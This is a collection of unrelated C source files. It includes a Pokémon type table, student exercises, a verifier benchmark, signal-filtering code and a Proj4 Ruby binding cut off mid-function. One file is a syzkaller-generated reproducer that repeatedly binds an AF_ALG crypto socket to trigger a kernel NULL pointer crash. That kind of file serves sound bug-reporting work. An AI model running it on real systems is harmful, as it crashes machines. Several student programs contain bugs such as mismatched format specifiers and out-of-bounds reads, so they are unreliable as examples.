"Rock Psychic", "Solrock", "Rock Psychic", "Barboach", "Water Ground", "Whiscash", "Water Ground", "Corphish", "Water", "Crawdaunt", "Water Dark", "Baltoy", "Ground Psychic", "Claydol", "Ground Psychic", "Lileep", "Rock Grass", "Cradily", "Rock Grass", "Anorith", "Rock Bug", "Armaldo", "Rock Bug", "Feebas", "Water", "Milotic", "Water", "Castform", "Normal", "Kecleon", "Normal", "Shuppet", "Ghost", "Banette", "Ghost", "Duskull", "Ghost", "Dusclops", "Ghost", "Tropius", "Grass Flying", "Chimecho", "Psychic", "Absol", "Dark", "Wynaut", "Psychic", "Snorunt", "Ice", "Glalie", "Ice", "Spheal", "Ice Water", "Sealeo", "Ice Water", "Walrein", "Ice Water", "Clamperl", "Water", "Huntail", "Water", "Gorebyss", "Water", "Relicanth", "Water Rock", "Luvdisc", "Water", "Bagon", "Dragon", "Shelgon", "Dragon", "Salamence", "Dragon Flying", "Beldum", "Steel Psychic", "Metang", "Steel Psychic", "Metagross", "Steel Psychic", "Regirock", "Rock", "Regice", "Ice", "Registeel", "Steel", "Latias", "Dragon Psychic", "Latios", "Dragon Psychic", "Kyogre", "Water", "Groudon", "Ground", "Rayquaza", "Dragon Flying", "Jirachi", "Steel Psychic", "Deoxys", "Psychic", "Turtwig", "Grass", "Grotle", "Grass", "Torterra", "Grass Ground", "Chimchar", "Fire", "Monferno", "Fire Fighting", "Infernape", "Fire Fighting", "Piplup", "Water", "Prinplup", "Water", "Empoleon", "Water Steel", "Starly", "Normal Flying", "Staravia", "Normal Flying", "Staraptor", "Normal Flying", "Bidoof", "Normal", "Bibarel", "Normal Water", "Kricketot", "Bug", "Kricketune", "Bug", "Shinx", "Electric", "Luxio", "Electric", "Luxray", "Electric", "Budew", "Grass Poison", "Roserade", "Grass Poison", "Cranidos", "Rock", "Rampardos", "Rock", "Shieldon", "Rock Steel", "Bastiodon", "Rock Steel", "Burmy", "Bug", "Wormadam", "Bug Grass", "Mothim", "Bug Flying", "Combee", "Bug Flying", "Vespiquen", "Bug Flying", "Pachirisu", "Electric", "Buizel", "Water", "Floatzel", "Water", "Cherubi", "Grass", "Cherrim", "Grass", "Shellos", "Water", "Gastrodon", "Water Ground", "Ambipom", "Normal", "Drifloon", "Ghost Flying", "Drifblim", "Ghost Flying", "Buneary", "Normal", "Lopunny", "Normal", "Mismagius", "Ghost", "Honchkrow", "Dark Flying", "Glameow", "Normal", "Purugly", "Normal", "Chingling", "Psychic", "Stunky", "Poison Dark", "Skuntank", "Poison Dark", "Bronzor", "Steel Psychic", "Bronzong", "Steel Psychic", "Bonsly", "Rock", "Mime Jr.", "Psychic Fairy", "Happiny", "Normal", "Chatot", "Normal Flying", "Spiritomb", "Ghost Dark", "Gible", "Dragon Ground", "Gabite", "Dragon Ground", "Garchomp", "Dragon Ground", "Munchlax", "Normal", "Riolu", "Fighting", "Lucario", "Fighting Steel", "Hippopotas", "Ground", "Hippowdon", "Ground", "Skorupi", "Poison Bug", "Drapion", "Poison Dark", "Croagunk", "Poison Fighting", "Toxicroak", "Poison Fighting", "Carnivine", "Grass", "Finneon", "Water", "Lumineon", "Water", "Mantyke", "Water Flying", "Snover", "Grass Ice", "Abomasnow", "Grass Ice", "Weavile", "Dark Ice", "Magnezone", "Electric Steel", "Lickilicky", "Normal", "Rhyperior", "Ground Rock", "Tangrowth", "Grass", "Electivire", "Electric", "Magmortar", "Fire", "Togekiss", "Fairy Flying", "Yanmega", "Bug Flying", "Leafeon", "Grass", "Glaceon", "Ice", "Gliscor", "Ground Flying", "Mamoswine", "Ice Ground", "Porygon-Z", "Normal", "Gallade", "Psychic Fighting", "Probopass", "Rock Steel", "Dusknoir", "Ghost", "Froslass", "Ice Ghost", "Rotom", "Electric Ghost", "Uxie", "Psychic", "Mesprit", "Psychic", "Azelf", "Psychic", "Dialga", "Steel Dragon", "Palkia", "Water Dragon", "Heatran", "Fire Steel", "Regigigas", "Normal", "Giratina", "Ghost Dragon", "Cresselia", "Psychic", "Phione", "Water", "Manaphy", "Water", "Darkrai", "Dark", "Shaymin", "Grass", "Arceus", "Normal", "Victini", "Psychic Fire", "Snivy", "Grass", "Servine", "Grass", "Serperior", "Grass", "Tepig", "Fire", "Pignite", "Fire Fighting", "Emboar", "Fire Fighting", "Oshawott", "Water", "Dewott", "Water", "Samurott", "Water", "Patrat", "Normal", "Watchog", "Normal", "Lillipup", "Normal", "Herdier", "Normal", "Stoutland", "Normal", "Purrloin", "Dark", "Liepard", "Dark", "Pansage", "Grass", "Simisage", "Grass", "Pansear", "Fire", "Simisear", "Fire", "Panpour", "Water", "Simipour", "Water", "Munna", "Psychic", "Musharna", "Psychic", "Pidove", "Normal Flying", "Tranquill", "Normal Flying", "Unfezant", "Normal Flying", "Blitzle", "Electric", "Zebstrika", "Electric", "Roggenrola", "Rock", "Boldore", "Rock", "Gigalith", "Rock", "Woobat", "Psychic Flying", "Swoobat", "Psychic Flying", "Drilbur", "Ground", "Excadrill", "Ground Steel", "Audino", "Normal", "Timburr", "Fighting", "Gurdurr", "Fighting", "Conkeldurr", "Fighting", "Tympole", "Water", "Palpitoad", "Water Ground", "Seismitoad", "Water Ground", "Throh", "Fighting", "Sawk", "Fighting", "Sewaddle", "Bug Grass", "Swadloon", "Bug Grass", "Leavanny", "Bug Grass", "Venipede", "Bug Poison", "Whirlipede", "Bug Poison", "Scolipede", "Bug Poison", "Cottonee", "Grass Fairy", "Whimsicott", "Grass Fairy", "Petilil", "Grass", "Lilligant", "Grass", "Basculin", "Water", "Sandile", "Ground Dark", "Krokorok", "Ground Dark", "Krookodile", "Ground Dark", "Darumaka", "Fire", "Darmanitan", "Fire", "Maractus", "Grass", "Dwebble", "Bug Rock", "Crustle", "Bug Rock", "Scraggy", "Dark Fighting", "Scrafty", "Dark Fighting", "Sigilyph", "Psychic Flying", "Yamask", "Ghost", "Cofagrigus", "Ghost", "Tirtouga", "Water Rock", "Carracosta", "Water Rock", "Archen", "Rock Flying", "Archeops", "Rock Flying", "Trubbish", "Poison", "Garbodor", "Poison", "Zorua", "Dark", "Zoroark", "Dark", "Minccino", "Normal", "Cinccino", "Normal", "Gothita", "Psychic", "Gothorita", "Psychic", "Gothitelle", "Psychic", "Solosis", "Psychic", "Duosion", "Psychic", "Reuniclus", "Psychic", "Ducklett", "Water Flying", "Swanna", "Water Flying", "Vanillite", "Ice", "Vanillish", "Ice", "Vanilluxe", "Ice", "Deerling", "Normal Grass", "Sawsbuck", "Normal Grass", "Emolga", "Electric Flying", "Karrablast", "Bug", "Escavalier", "Bug Steel", "Foongus", "Grass Poison", "Amoonguss", "Grass Poison", "Frillish", "Water Ghost", "Jellicent", "Water Ghost", "Alomomola", "Water", "Joltik", "Bug Electric", "Galvantula", "Bug Electric", "Ferroseed", "Grass Steel", "Ferrothorn", "Grass Steel", "Klink", "Steel", "Klang", "Steel", "Klinklang", "Steel", "Tynamo", "Electric", "Eelektrik", "Electric", "Eelektross", "Electric", "Elgyem", "Psychic", "Beheeyem", "Psychic", "Litwick", "Ghost Fire", "Lampent", "Ghost Fire", "Chandelure", "Ghost Fire", "Axew", "Dragon", "Fraxure", "Dragon", "Haxorus", "Dragon", "Cubchoo", "Ice", "Beartic", "Ice", "Cryogonal", "Ice", "Shelmet", "Bug", "Accelgor", "Bug", "Stunfisk", "Electric Ground", "Mienfoo", "Fighting", "Mienshao", "Fighting", "Druddigon", "Dragon", "Golett", "Ground Ghost", "Golurk", "Ground Ghost", "Pawniard", "Dark Steel", "Bisharp", "Dark Steel", "Bouffalant", "Normal", "Rufflet", "Normal Flying", "Braviary", "Normal Flying", "Vullaby", "Dark Flying", "Mandibuzz", "Dark Flying", "Heatmor", "Fire", "Durant", "Bug Steel", "Deino", "Dark Dragon", "Zweilous", "Dark Dragon", "Hydreigon", "Dark Dragon", "Larvesta", "Bug Fire", "Volcarona", "Bug Fire", "Cobalion", "Steel Fighting", "Terrakion", "Rock Fighting", "Virizion", "Grass Fighting", "Tornadus", "Flying", "Thundurus", "Electric Flying", "Reshiram", "Dragon Fire", "Zekrom", "Dragon Electric", "Landorus", "Ground Flying", "Kyurem", "Dragon Ice", "Keldeo", "Water Fighting", "Meloetta", "Normal Psychic", "Genesect", "Bug Steel", "Chespin", "Grass", "Quilladin", "Grass", "Chesnaught", "Grass Fighting", "Fennekin", "Fire", "Braixen", "Fire", "Delphox", "Fire Psychic", "Froakie", "Water", "Frogadier", "Water", "Greninja", "Water Dark", "Bunnelby", "Normal", "Diggersby", "Normal Ground", "Fletchling", "Normal Flying", "Fletchinder", "Fire Flying", "Talonflame", "Fire Flying", "Scatterbug", "Bug", "Spewpa", "Bug", "Vivillon", "Bug Flying", "Litleo", "Fire Normal", "Pyroar", "Fire Normal", "Flabébé", "Fairy", "Floette", "Fairy", "Florges", "Fairy", "Skiddo", "Grass", "Gogoat", "Grass", "Pancham", "Fighting", "Pangoro", "Fighting Dark", "Furfrou", "Normal", "Espurr", "Psychic", "Meowstic", "Psychic", "Honedge", "Steel Ghost", "Doublade", "Steel Ghost", "Aegislash", "Steel Ghost", "Spritzee", "Fairy", "Aromatisse", "Fairy", "Swirlix", "Fairy", "Slurpuff", "Fairy", "Inkay", "Dark Psychic", "Malamar", "Dark Psychic", "Binacle", "Rock Water", "Barbaracle", "Rock Water", "Skrelp", "Poison Water", "Dragalge", "Poison Dragon", "Clauncher", "Water", "Clawitzer", "Water", "Helioptile", "Electric Normal", "Heliolisk", "Electric Normal", "Tyrunt", "Rock Dragon", "Tyrantrum", "Rock Dragon", "Amaura", "Rock Ice", "Aurorus", "Rock Ice", "Sylveon", "Fairy", "Hawlucha", "Fighting Flying", "Dedenne", "Electric Fairy", "Carbink", "Rock Fairy", "Goomy", "Dragon", "Sliggoo", "Dragon", "Goodra", "Dragon", "Klefki", "Steel Fairy", "Phantump", "Ghost Grass", "Trevenant", "Ghost Grass", "Pumpkaboo", "Ghost Grass", "Gourgeist", "Ghost Grass", "Bergmite", "Ice", "Avalugg", "Ice", "Noibat", "Flying Dragon", "Noivern", "Flying Dragon", "Xerneas", "Fairy", "Yveltal", "Dark Flying", "Zygarde", "Dragon Ground", "Diancie", "Rock Fairy", "Hoopa", "Psychic Ghost", "Volcanion", "Fire Water" }; int main() { int a; scanf("%d", &a); puts(t[--a << 1]); puts(t[(a << 1) + 1]); }
the_stack_data/247019542.c
long guess_binval; long password_binval; long result; int prefixRemoving(long s, long k) { for(int i = 0; i < k; i++) { s /= 256; } return s; } int checkSecret() { // What's the length of the longest correct prefix of guess? __VERIFIER_assume(guess_binval >= 0); __VERIFIER_assume(password_binval >= 0); // Note: This example assumes that the guess and real password are // both of the same length, namely 3 characters. if ((password_binval / (256 * 256 )) % 256 != (guess_binval / (256 * 256 )) % 256) { return 0; } if ((password_binval / (256 )) % 256 != (guess_binval / (256 )) % 256) { return 1; } if ((password_binval ) % 256 != (guess_binval ) % 256) { return 2; } return 3; // all 3 characters are correct (the whole string is correct) } void main() { guess_binval = __VERIFIER_nondet_int(); password_binval = __VERIFIER_nondet_int(); __VERIFIER_assume(guess_binval >= 0); __VERIFIER_assume(password_binval >= 0); __VERIFIER_assume(guess_binval < (256 * 256 * 256)); __VERIFIER_assume(password_binval < (256 * 256 * 256)); result = checkSecret(); __VERIFIER_print_hull(result); //prefixRemoving(1,1); }
the_stack_data/101701721.c
#include <stdarg.h> #include <stdio.h> void unittest_printf_function ( const char * format, ... ) { va_list arglist; va_start( arglist, format ); vprintf( format, arglist ); va_end( arglist ); }
the_stack_data/32951437.c
/* Ejemplo de punteros en lenguage C Para compilar: gcc punteros_1.c -o testA.out // gcc punteros_1.c -o testA.exe Para ejecutar: ./testA.out(Linux/Mac) testA.exe (Windows) Autor: Alan Garduño Velazquez */ #include <stdio.h> #include <stdlib.h> void add(int a); void addPtr(int *a); int main() { // varible comun int a; // puntero int *b; a = 5; // Se inicializa variable b = &a; // Se asigna la direccion de memeoria (puntero de a) a el puntero b // Se imprime el valor de a y el valor de de la direccion de memeoria de b (el valor de a) printf("El valor de a es %d y el valor de b es %d\n",a,*b); add(a); addPtr(b); printf("El valor de a es %d y el valor de b es %d\n",a,*b); return 0; } void add(int n){ n += 40; printf("Resultado: %d\n",n); } void addPtr(int *n){ *n += 30; printf("Resultado: %d\n",*n); }
the_stack_data/770836.c
#include <stdio.h> int main() { int X = 0, Y = 0, par = 0, impar = 1; printf("Insira o VALOR DE X: "); scanf("%d", &X); printf("Insira o VALOR DE Y: "); scanf("%d", &Y); if (Y <= X) { printf("X não pode ser maior que Y\n"); return 0; } for (int cont = X; cont <= Y; cont++) { if (cont % 2 == 0) par += cont; else impar *= cont; } printf("A soma dos números pares nesse intervalo é %d\n", par); printf("A multiplicação dos números impares nesse intervalo é %d\n", impar); } //https://pt.stackoverflow.com/q/218612/101
the_stack_data/476715.c
#include <stdio.h> int main(void) { char wd[1000001]; int spacebar = 0; scanf("%[^\n]", wd, 1); for(int i = 0; wd[i] != 0; i++){ if (((wd[i] >= 65 && wd[i] <= 90) || (wd[i] >= 97 && wd[i] <= 122))) { if(wd[i+1] == 32 || wd[i+1] == 0) { spacebar += 1; } } } printf("%d\n", spacebar); return 0; }
the_stack_data/95450244.c
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> char *ecvt(double x, int n, int *dp, int *sign) { static char buf[16]; char tmp[32]; int i, j; if (n-1U > 15) n = 15; sprintf(tmp, "%.*e", n-1, x); i = *sign = (tmp[0]=='-'); for (j=0; tmp[i]!='e'; j+=(tmp[i++]!='.')) buf[j] = tmp[i]; buf[j] = 0; *dp = atoi(tmp+i+1)+1; return buf; }
the_stack_data/18887978.c
#include <stdio.h> int main(void){ struct horario { int hora; int minuto; int segundo; double teste; char letra; }; struct horario agora; agora.hora=15; agora.minuto=17; agora.segundo=30; struct horario depois; depois.hora = agora.hora+10; depois.minuto = agora.minuto; depois.teste = 50.55/123; depois.letra='a'; printf("%i\n", depois.hora); printf("%i\n", depois.minuto); printf("%d\n", depois.teste); printf("%c\n", depois.letra); getchar(); return 0; }
the_stack_data/82949083.c
#include<stdio.h> void main() { long x; float t; scanf("%f",&t); printf("%d\n",t); x=90; printf("%f\n",x); { x=1; printf("%f\n",x); { x=30; printf("%f\n",x); } printf("%f\n",x); } x==9; printf("%f\n",x); }
the_stack_data/127088.c
#include <stdlib.h> #include <sys/types.h> #include <sys/wait.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <stdio.h> int main(int argc, char** argv) { int pid; int status; pid = fork(); if (pid == 0) { printf("\n"); printf("I'm a child\n"); printf("My getpid() = %d\n", getpid()); printf("My getppid = %d\n", getppid()); printf("My int pid = %d\n", pid); printf("\n"); } else { printf("\n"); printf("I'm a parent\n" ); printf("My getpid() = %d\n", getpid()); printf("My int pid = %d\n", pid); printf("\n"); sleep(10); } return 0; }
the_stack_data/92324362.c
#include <stdio.h> #include <stdlib.h> #include <math.h> #define MDATA_MAX_SIZE 1000 #define MOVINGAVERAGING_WINDOW_SIZE 10 #define NO_ERROR 0 #define OUT_OF_MEMORY_ERROR 1 #define FILE_ERROR 2 #define Fenster 4 double genSinusWithNoise (double f[], int length, double length_period, double amplitude, double offset, double amplitude_noise) { for(int i = 0; i < length; i++) { //Werte erzeugen f[i] = amplitude * sin(((2 * M_PI) / length_period) * i) + offset + (rand() % 100) * amplitude_noise / 100; } return 0; } int readDataFromFile(char *filepath, double *mdata, int max_length, int *length) { int idummy = 0; double ddummy = 0; FILE* f = fopen(filepath, "r"); if (f==NULL) return FILE_ERROR; *length = 0; while (!feof(f) && (*length < max_length)) // Solange Dateiende NICHT erreicht ist { char s[100]; if (fgets(s,100,f) == NULL) // Nächste Zeile einlesen break; if (sscanf(s,"%d;%lf;%lf", &idummy, &mdata[*length], &ddummy) == 3) (*length)++; } fclose(f); return NO_ERROR; } int writeData2File(char *filepath, double data[], int length) { FILE* f = fopen(filepath, "w"); if (f == NULL) return FILE_ERROR; for (int i=0;i<length;i++) fprintf(f, "%.3f\n", data[i] ); fclose(f); return NO_ERROR; } double removeOffset(double f[], int length){ double x = 0; double summe = 0; double offset = 0; for(int i = 0; i < length; ++i) { summe += f[i]; } offset = summe/length; for(int i = 0; i < length; ++i) { f[i] -= offset; } return offset; } void calcMovingAveraging(double f[], int length) { double summe; double avg; double old; for(int i = 0; i < Fenster; i++) { summe += f[i]; } //f[0] = summe / 10; for(int j = 0; j < (length - Fenster); j++) { avg = summe/10; summe+= f[Fenster +j]; summe = summe - f[j]; f[j] = avg; } } void diffSignal(double f[], int length) { for(int i = 0; i < length; i++) { f[i] = f[i + 1] - f[i]; } } double normalizeSignal(double f[], int length) { double groessterWert = 0; double runden; for (int i = 0; i < length; i++) { if (abs(f[i]) > groessterWert) { groessterWert = abs(f[i]); } } for(int i = 0; i < length; i++) { f[i] = f[i] / groessterWert; runden = round(f[i]); f[i] = runden; } return 0; } int main () { double f[999]; int length = 999; //double rvgenSinusWithNoise = genSinusWithNoise(f, length, 100, 2, 1, 0.2); readDataFromFile("mdata.csv", f, length, &length); writeData2File("EKG1.csv", f, length); double offset = removeOffset(f, length); calcMovingAveraging(f, length); writeData2File("EKG_gefiltert.csv", f, length); diffSignal(f, length); normalizeSignal(f, length); writeData2File("EKG3.csv", f, length); system("python3 plotdata.py EKG1.csv EKG3.csv"); return 0; }
the_stack_data/126703816.c
#include<stdio.h> #include<stdlib.h> /*Create a node*/ typedef struct node{ int data; struct node *next; }node; /*Function definition*/ node* create_node(int, node *); void print_node(node *); /*Application*/ int main(){ /*struct initialization*/ node *first = NULL; node *second = NULL; /*define the structures*/ first = create_node(1, second); second = create_node(2, NULL); /*Print nodes*/ print_node(first); print_node(second); free(first); free(second); return 0; } node* create_node(int x, node *new){ node *n; /*Add the allocation check*/ n = malloc(sizeof(node)); if(n == NULL){ printf("Memory no allocate it: line 41"); exit(0); } n -> data = x; n -> next = new; printf("%d\n", n-> next); return n; } void print_node(node *n){ printf("data = %d memory location = %p next = %p\n",n -> data, n, n -> next); }
the_stack_data/100140300.c
// BUG: unable to handle kernel NULL pointer dereference in sidtab_search_core // https://syzkaller.appspot.com/bug?id=e139d8fe1e3608af8b9727c7658f35b8cad78649 // status:dup // autogenerated by syzkaller (http://github.com/google/syzkaller) #define _GNU_SOURCE #include <sys/syscall.h> #include <unistd.h> #include <stdint.h> #include <string.h> static void test(); void loop() { while (1) { test(); } } long r[8]; void test() { memset(r, -1, sizeof(r)); r[0] = syscall(__NR_mmap, 0x20000000ul, 0x8f6000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul); r[1] = syscall(__NR_socket, 0x26ul, 0x5ul, 0x0ul); *(uint16_t*)0x20269000 = (uint16_t)0x26; memcpy((void*)0x20269002, "\x61\x65\x61\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 14); *(uint32_t*)0x20269010 = (uint32_t)0x4; *(uint32_t*)0x20269014 = (uint32_t)0xffffffffffffffff; memcpy((void*)0x20269018, "\x70\x63\x72\x79\x70\x74\x28\x67\x63\x6d\x5f\x62\x61\x73\x65" "\x28\x63\x74\x72\x28\x61\x65\x73\x2d\x61\x65\x73\x6e\x69\x29" "\x2c\x67\x68\x61\x73\x68\x2d\x67\x65\x6e\x65\x72\x69\x63\x29" "\x29\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00", 64); r[7] = syscall(__NR_bind, r[1], 0x20269000ul, 0x58ul); } int main() { loop(); return 0; }
the_stack_data/100141088.c
/* line.c: line-oriented */ #include <stdio.h> /* Main execution */ int main(int argc, char *argv[]) { char buffer[BUFSIZ]; while (fgets(buffer, BUFSIZ, stdin)) { int x, y; sscanf(buffer, "%d %d", &x, &y); printf("%d %d\n", x, y); } return 0; }
the_stack_data/341614.c
#include <stdio.h> #include <stdlib.h> #define LIN_A 3 #define COL_A 3 #define LIN_B 3 #define COL_B 2 int **produtoMatrizes (int A[LIN_A][COL_A], int B[LIN_B][COL_B]) { int i, j, k; int **C = (int **) calloc (LIN_A, sizeof(int*)); if (C == NULL) { printf("Erro! Memória insuficiente.\n"); exit(0); } if (COL_A != LIN_B) { printf("Erro! Dimensões incorretas.\n"); exit(0); } else { for (i = 0; i < LIN_A; i++) { C[i] = (int *) calloc (LIN_A, sizeof(int)); for (j = 0; j < COL_B; j++) { for (k = 0; k < LIN_B; k++) { C[i][j] += A[i][k] * B[k][j]; } } } return C; } return 0; } int main () { int i, j; int A[LIN_A][COL_A] = { {0, 1, 3}, {4, 1, 2}, {7, 1, 9} }; int B[LIN_B][COL_B] = { {2, 2}, {2, 1}, {3, 4}, }; int **matriz = produtoMatrizes(A, B); for (i = 0; i < LIN_A; i++) { putchar('\n'); for (j = 0; j < COL_B; j++) { printf("%i ", matriz[i][j]); } } // Liberar memória das colunas for (i = 0; i < LIN_A; i++) { free(matriz[i]); } // Liberar memória das linhas free(matriz); matriz = NULL; putchar('\n'); return 0; }
the_stack_data/101446.c
#include <stdio.h> #include <stdlib.h> int main() { int a, b; int *pa = &a, *pb = &b; scanf("%d %d", &a, &b); update(pa, pb); printf("%d\n%d", a, b); return 0; } void update(int *a,int *b) { int tmp = *a; *a = *a + *b; *b = abs(tmp - *b); }
the_stack_data/126300.c
/* Main initializer for Proj4 wrapper */ #ifdef HAVE_PROJ_H #ifdef HAVE_PROJ_CREATE #ifdef HAVE_PROJ_CREATE_CRS_TO_CRS_FROM_PJ #ifdef HAVE_PROJ_NORMALIZE_FOR_VISUALIZATION #define RGEO_PROJ4_SUPPORTED #endif #endif #endif #endif #ifdef HAVE_RB_GC_MARK_MOVABLE #define mark rb_gc_mark_movable #else #define mark rb_gc_mark #endif #ifdef __cplusplus #define RGEO_BEGIN_C extern "C" { #define RGEO_END_C } #else #define RGEO_BEGIN_C #define RGEO_END_C #endif #ifdef RGEO_PROJ4_SUPPORTED #include <ruby.h> #include <proj.h> #endif RGEO_BEGIN_C #ifdef RGEO_PROJ4_SUPPORTED #if PROJ_VERSION_MAJOR == 6 && PROJ_VERSION_MINOR < 3 #define WKT_TYPE PJ_WKT2_2018 #else #define WKT_TYPE PJ_WKT2_2019 #endif typedef struct { PJ *pj; VALUE original_str; char uses_radians; } RGeo_Proj4Data; // Destroy function for proj data. static void rgeo_proj4_free(void *ptr) { RGeo_Proj4Data *data = (RGeo_Proj4Data *)ptr; if(data->pj){ proj_destroy(data->pj); } free(data); } static size_t rgeo_proj4_memsize(const void *ptr) { size_t size = 0; const RGeo_Proj4Data *data = (const RGeo_Proj4Data *)ptr; size += sizeof(*data); if(data->pj){ size += sizeof(data->pj); } return size; } static void rgeo_proj4_mark(void *ptr) { RGeo_Proj4Data *data = (RGeo_Proj4Data *)ptr; if(!NIL_P(data->original_str)){ mark(data->original_str); } } #ifdef HAVE_RB_GC_MARK_MOVABLE static void rgeo_proj4_compact(void *ptr) { RGeo_Proj4Data *data = (RGeo_Proj4Data *)ptr; if(data && !NIL_P(data->original_str)){ data->original_str = rb_gc_location(data->original_str); } } #endif static void rgeo_proj4_clear_struct(RGeo_Proj4Data *data) { if(data->pj){ proj_destroy(data->pj); data->pj = NULL; data->original_str = Qnil; } } static const rb_data_type_t rgeo_proj4_data_type = { "RGeo::CoordSys::Proj4", {rgeo_proj4_mark, rgeo_proj4_free, rgeo_proj4_memsize, #ifdef HAVE_RB_GC_MARK_MOVABLE rgeo_proj4_compact #endif }, 0, 0, RUBY_TYPED_FREE_IMMEDIATELY}; static VALUE rgeo_proj4_data_alloc(VALUE self) { VALUE result; RGeo_Proj4Data *data = ALLOC(RGeo_Proj4Data); result = Qnil; if(data){ data->pj = NULL; data->original_str = Qnil; data->uses_radians = 0; result = TypedData_Wrap_Struct(self, &rgeo_proj4_data_type, data); } return result; } static VALUE method_proj4_initialize_copy(VALUE self, VALUE orig) { RGeo_Proj4Data *self_data; RGeo_Proj4Data *orig_data; const char* str; // Clear out any existing value TypedData_Get_Struct(self, RGeo_Proj4Data, &rgeo_proj4_data_type, self_data); rgeo_proj4_clear_struct(self_data); // Copy value from orig TypedData_Get_Struct(orig, RGeo_Proj4Data, &rgeo_proj4_data_type, orig_data); if (!NIL_P(orig_data->original_str)) { self_data->pj = proj_create(PJ_DEFAULT_CTX, StringValuePtr(orig_data->original_str)); } else { str = proj_as_proj_string(PJ_DEFAULT_CTX, orig_data->pj, PJ_PROJ_4, NULL); self_data->pj = proj_create(PJ_DEFAULT_CTX, str); } self_data->original_str = orig_data->original_str; self_data->uses_radians = orig_data->uses_radians; return self; } static VALUE method_proj4_set_value(VALUE self, VALUE str, VALUE uses_radians) { RGeo_Proj4Data *self_data; Check_Type(str, T_STRING); // Clear out any existing value TypedData_Get_Struct(self, RGeo_Proj4Data, &rgeo_proj4_data_type, self_data); rgeo_proj4_clear_struct(self_data); // Set new data self_data->pj = proj_create(PJ_DEFAULT_CTX, StringValuePtr(str)); self_data->original_str = str; self_data->uses_radians = RTEST(uses_radians) ? 1 : 0; return self; } static VALUE method_proj4_get_geographic(VALUE self) { VALUE result; RGeo_Proj4Data *new_data; RGeo_Proj4Data *self_data; result = Qnil; new_data = ALLOC(RGeo_Proj4Data); if (new_data) { TypedData_Get_Struct(self, RGeo_Proj4Data, &rgeo_proj4_data_type, self_data); new_data->pj = proj_crs_get_geodetic_crs(PJ_DEFAULT_CTX, self_data->pj); new_data->original_str = Qnil; new_data->uses_radians = self_data->uses_radians; result = TypedData_Wrap_Struct(CLASS_OF(self), &rgeo_proj4_data_type, new_data); } return result; } static VALUE method_proj4_original_str(VALUE self) { RGeo_Proj4Data *data; TypedData_Get_Struct(self, RGeo_Proj4Data, &rgeo_proj4_data_type, data); return data->original_str; } static VALUE method_proj4_uses_radians(VALUE self) { RGeo_Proj4Data *data; TypedData_Get_Struct(self, RGeo_Proj4Data, &rgeo_proj4_data_type, data); return data->uses_radians ? Qtrue : Qfalse; } static VALUE method_proj4_canonical_str(VALUE self) { VALUE result; PJ *pj; const char *str; RGeo_Proj4Data *data; result = Qnil; TypedData_Get_Struct(self, RGeo_Proj4Data, &rgeo_proj4_data_type, data); pj = data->pj; if (pj) { str = proj_as_proj_string(PJ_DEFAULT_CTX, pj, PJ_PROJ_4, NULL); if (str) { result = rb_str_new2(str); } } return result; } static VALUE method_proj4_wkt_str(VALUE self) { VALUE result; PJ *pj; const char *str; RGeo_Proj4Data *data; result = Qnil; TypedData_Get_Struct(self, RGeo_Proj4Data, &rgeo_proj4_data_type, data); pj = data->pj; if (pj) { const char *const options[] = {"MULTILINE=NO", NULL}; str = proj_as_wkt(PJ_DEFAULT_CTX, pj, WKT_TYPE, options); if(str){ result = rb_str_new2(str); } } return result; } static VALUE method_proj4_auth_name_str(VALUE self) { VALUE result; PJ *pj; const char *id; const char *auth; RGeo_Proj4Data *data; result = Qnil; TypedData_Get_Struct(self, RGeo_Proj4Data, &rgeo_proj4_data_type, data); pj = data->pj; if (pj) { auth = proj_get_id_auth_name(pj, 0); id = proj_get_id_code(pj, 0); if(id && auth){ result = rb_sprintf("%s:%s", auth, id); } } return result; } static VALUE method_proj4_is_geographic(VALUE self) { VALUE result; PJ *pj; PJ_TYPE proj_type; RGeo_Proj4Data *data; result = Qnil; TypedData_Get_Struct(self, RGeo_Proj4Data, &rgeo_proj4_data_type, data); pj = data->pj; if (pj) { proj_type = proj_get_type(pj); if(proj_type == PJ_TYPE_GEOGRAPHIC_2D_CRS || proj_type == PJ_TYPE_GEOGRAPHIC_3D_CRS){ result = Qtrue; } else { result = Qfalse; } } return result; } static VALUE method_proj4_is_geocentric(VALUE self) { VALUE result; PJ *pj; PJ_TYPE proj_type; RGeo_Proj4Data *data; result = Qnil; TypedData_Get_Struct(self, RGeo_Proj4Data, &rgeo_proj4_data_type, data); pj = data->pj; if (pj) { proj_type = proj_get_type(pj); result = proj_type == PJ_TYPE_GEOCENTRIC_CRS ? Qtrue : Qfalse; } return result; } static VALUE method_proj4_is_valid(VALUE self) { RGeo_Proj4Data *data; TypedData_Get_Struct(self, RGeo_Proj4Data, &rgeo_proj4_data_type, data); return data->pj ? Qtrue : Qfalse; } static VALUE cmethod_proj4_version(VALUE module) { return rb_sprintf("%d.%d.%d", PROJ_VERSION_MAJOR, PROJ_VERSION_MINOR, PROJ_VERSION_PATCH); } static VALUE cmethod_proj4_transform(VALUE module, VALUE from, VALUE to, VALUE x, VALUE y, VALUE z) { VALUE result; RGeo_Proj4Data *from_data; RGeo_Proj4Data *to_data; PJ *from_pj; PJ *to_pj; PJ *crs_to_crs; PJ *gis_pj; double xval, yval, zval; PJ_COORD input; PJ_COORD output; result = Qnil; TypedData_Get_Struct(from, RGeo_Proj4Data, &rgeo_proj4_data_type, from_data); TypedData_Get_Struct(to, RGeo_Proj4Data, &rgeo_proj4_data_type, to_data); from_pj = from_data->pj; to_pj = to_data->pj; if (from_pj && to_pj) { crs_to_crs = proj_create_crs_to_crs_from_pj(PJ_DEFAULT_CTX, from_pj, to_pj, 0, NULL); if(crs_to_crs){ // necessary to use proj_normalize_for_visualization so that we // do not have to worry about the order of coordinates in every // coord system. gis_pj = proj_normalize_for_visualization(PJ_DEFAULT_CTX, crs_to_crs); if(gis_pj){ proj_destroy(crs_to_crs); crs_to_crs = gis_pj; xval = rb_num2dbl(x); yval = rb_num2dbl(y); zval = NIL_P(z) ? 0.0 : rb_num2dbl(z); input = proj_coord(xval, yval, zval, HUGE_VAL); output = proj_trans(crs_to_crs, PJ_FWD, input); result = rb_ary_new2(NIL_P(z) ? 2 : 3); rb_ary_push(result, DBL2NUM(output.xyz.x)); rb_ary_push(result, DBL2NUM(output.xyz.y)); if(!NIL_P(z)){ rb_ary_push(result, DBL2NUM(output.xyz.z)); } } proj_destroy(crs_to_crs); } 